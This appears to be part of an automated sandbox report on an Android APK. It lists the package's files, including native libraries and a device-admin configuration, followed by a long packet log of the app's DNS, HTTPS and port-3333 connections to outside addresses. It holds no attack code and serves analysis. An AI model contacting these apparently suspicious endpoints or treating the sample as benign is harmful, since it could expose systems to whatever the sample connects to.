                          com.crashlytics.sdk.android.answers.propertiesASCII text100
                          CERT.SFASCII text, with CRLF line terminators1746
                          crashlytics-build.propertiesASCII text332
                          com.crashlytics.sdk.android.crashlytics-core.propertiesASCII text109
                          ic_launcher_empty.pngPNG image data, 144 x 144, 8-bit colormap, non-interlaced127
                          libcurl.soELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped181620
                          device_admin.xmldata552
                          MANIFEST.MFASCII text, with CRLF line terminators1703
                          libgmp.soELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped411012
                          classes.dexDalvik dex file version 035589400
                          resources.arscdata1568
                          com.crashlytics.sdk.android.beta.propertiesASCII text97
                          libcurl.soELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped181620

                          Network Behavior

                          Network Port Distribution

                          TCP Packets

                          TimestampSource PortDest PortSource IPDest IP
                          Sep 21, 2018 21:19:17.828253031 CEST3849653192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:17.849747896 CEST53384968.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:20.855043888 CEST5666253192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:20.875741005 CEST53566628.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:20.884087086 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.884332895 CEST49651443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.889045000 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.889200926 CEST44349651172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.890079021 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.890729904 CEST49651443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.892400980 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.893245935 CEST49651443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.897381067 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.898163080 CEST44349651172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.912806034 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.912858963 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.913009882 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.914318085 CEST44349651172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.914385080 CEST44349651172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.914525986 CEST44349651172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.917030096 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.919755936 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.920001030 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.920016050 CEST49651443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.920032024 CEST49651443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.933952093 CEST49651443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.934356928 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.939538956 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.948123932 CEST49651443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.953494072 CEST44349651172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.971478939 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.979231119 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.979542017 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.979552984 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.980041981 CEST49651443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.981086969 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.981484890 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.984268904 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.984416008 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.984586954 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.985601902 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:20.986495972 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:20.994209051 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.021456003 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.023380995 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.023411036 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.023530006 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.023564100 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.023593903 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.025306940 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.025577068 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.025587082 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.025593042 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.025599003 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.031068087 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.042263031 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.042454958 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.042488098 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.042512894 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:21.044251919 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.045207024 CEST49650443192.34.76.230172.217.168.3
                          Sep 21, 2018 21:19:21.089524031 CEST44349650172.217.168.3192.34.76.230
                          Sep 21, 2018 21:19:22.261742115 CEST3304853192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:22.286037922 CEST53330488.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:22.287806988 CEST4732153192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:22.311907053 CEST53473218.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:22.319605112 CEST541713333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:22.403791904 CEST4638353192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:22.409168959 CEST53463838.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:22.412494898 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.470382929 CEST33335417145.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:22.471442938 CEST541713333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:22.472111940 CEST541713333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:22.507036924 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.508392096 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.513284922 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.607952118 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.609558105 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.609719038 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.609775066 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.609829903 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.609885931 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.609942913 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.609999895 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.610047102 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.611001015 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.611033916 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.611366034 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.611392021 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.611399889 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.611951113 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.613006115 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.616767883 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.616789103 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.616796017 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.616854906 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.616862059 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.623197079 CEST33335417145.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:22.623599052 CEST33335417145.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:22.624644041 CEST541713333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:22.705998898 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.706033945 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.707176924 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.707389116 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.785995960 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.881016016 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:22.881995916 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:22.884569883 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:23.022995949 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:23.023031950 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:23.023094893 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:19:23.024344921 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:23.061428070 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:19:23.632503986 CEST541723333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:23.785845041 CEST33335417245.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:23.789271116 CEST541723333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:23.789589882 CEST541723333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:23.942817926 CEST33335417245.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:23.943092108 CEST33335417245.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:24.053901911 CEST541723333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:30.660662889 CEST33335417145.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:30.680362940 CEST33335417245.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:30.771502018 CEST541713333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:30.771735907 CEST541723333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:30.771738052 CEST541713333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:35.360644102 CEST33335417245.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:35.362360954 CEST541723333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:36.365041971 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:36.516113997 CEST33335417345.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:36.519753933 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:36.519785881 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:36.670876026 CEST33335417345.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:36.680094957 CEST33335417345.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:36.681432009 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:41.224553108 CEST4426353192.34.76.2308.8.8.8
                          Sep 21, 2018 21:19:41.229965925 CEST53442638.8.8.8192.34.76.230
                          Sep 21, 2018 21:19:41.302026033 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.396437883 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.399177074 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.482136011 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.576488972 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.577893972 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.578051090 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.578108072 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.578164101 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.578221083 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.578277111 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.578334093 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.578382015 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.579150915 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.579179049 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.581494093 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581919909 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581932068 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581938982 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581944942 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581950903 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581957102 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581963062 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581968069 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.581974030 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.676206112 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.676239014 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.677592993 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.677800894 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.835124016 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:41.930625916 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:41.932152987 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:44.116950035 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:44.213937998 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:44.219702005 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:45.572760105 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:45.669101954 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:45.674506903 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:46.185565948 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:46.281363010 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:46.283490896 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:46.961497068 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:47.058733940 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:47.060031891 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:47.682897091 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:47.779262066 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:47.780329943 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:48.422936916 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:48.518959999 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:48.521567106 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:49.336493015 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:49.432212114 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:49.434607983 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:50.292931080 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:50.373260021 CEST541723333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:50.389081001 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:50.390316963 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:50.526541948 CEST33335417245.125.194.34192.34.76.230
                          Sep 21, 2018 21:19:50.530191898 CEST541723333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:19:51.152987957 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:51.250185966 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:51.252353907 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:51.828883886 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:51.924981117 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:51.926249027 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:52.692778111 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:52.789026976 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:52.791508913 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:53.672643900 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:53.769102097 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:53.770710945 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:54.502427101 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:54.598104954 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:54.601809025 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:55.512989044 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:55.612065077 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:55.613074064 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:56.388298988 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:56.485219002 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:56.486732960 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:57.462940931 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:57.559463978 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:57.572530031 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:57.882730961 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:57.979154110 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:57.980515003 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:58.659565926 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:58.755558968 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:58.758107901 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:59.265676022 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:59.361886978 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:19:59.364082098 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:19:59.985829115 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:00.082581043 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:00.083817959 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:00.419719934 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:00.515835047 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:00.532325029 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:00.905164003 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:01.001455069 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:01.003587008 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:02.671175957 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:02.768636942 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:02.769743919 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:04.122828007 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:04.218733072 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:04.220879078 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:04.872994900 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:04.969043970 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:04.972834110 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:05.653703928 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:05.750106096 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:05.755670071 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:06.219732046 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:06.315845013 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:06.319825888 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:06.742297888 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:06.837793112 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:06.839109898 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:07.824244976 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:07.921052933 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:07.922481060 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:08.123641968 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:08.219420910 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:08.238012075 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:09.095818043 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:09.191802979 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:09.193299055 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:10.074094057 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:10.170217037 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:10.171710014 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:10.791210890 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:10.888127089 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:10.890944958 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:11.413306952 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:11.509618998 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:11.510719061 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:12.562925100 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:12.658554077 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:12.659884930 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:13.195585012 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:13.291600943 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:13.292875051 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:14.053234100 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:14.149046898 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:14.155283928 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:14.973031998 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:15.069390059 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:15.073957920 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:15.633604050 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:15.739171982 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:15.740493059 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:16.644109964 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:16.740766048 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:16.741930962 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:17.634529114 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:17.731436968 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:17.737643957 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:18.203310013 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:18.299776077 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:18.300977945 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:19.085818052 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:19.182034969 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:19.184526920 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:19.812118053 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:19.908118963 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:19.909532070 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:20.530049086 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:20.626543999 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:20.628083944 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:21.032835007 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:21.128782988 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:21.130162954 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:22.016735077 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:22.115468979 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:22.119704962 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:22.936707020 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:23.034066916 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:23.035413027 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:23.649805069 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:20:23.679373980 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:20:25.092577934 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:25.189733982 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:25.192002058 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:25.972579002 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:26.068586111 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:26.071505070 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:26.403513908 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:26.499701977 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:26.503598928 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:26.671471119 CEST541733333192.34.76.23045.125.194.34
                          Sep 21, 2018 21:20:26.822268963 CEST33335417345.125.194.34192.34.76.230
                          Sep 21, 2018 21:20:27.328692913 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:27.424506903 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:27.425812006 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:28.563679934 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:28.659600973 CEST4434412554.243.70.98192.34.76.230
                          Sep 21, 2018 21:20:28.660700083 CEST44125443192.34.76.23054.243.70.98
                          Sep 21, 2018 21:20:28.662933111 CEST4435460354.235.102.221192.34.76.230
                          Sep 21, 2018 21:20:28.701402903 CEST54603443192.34.76.23054.235.102.221
                          Sep 21, 2018 21:20:29.293971062 CEST44125443192.34.76.23054.243.70.98
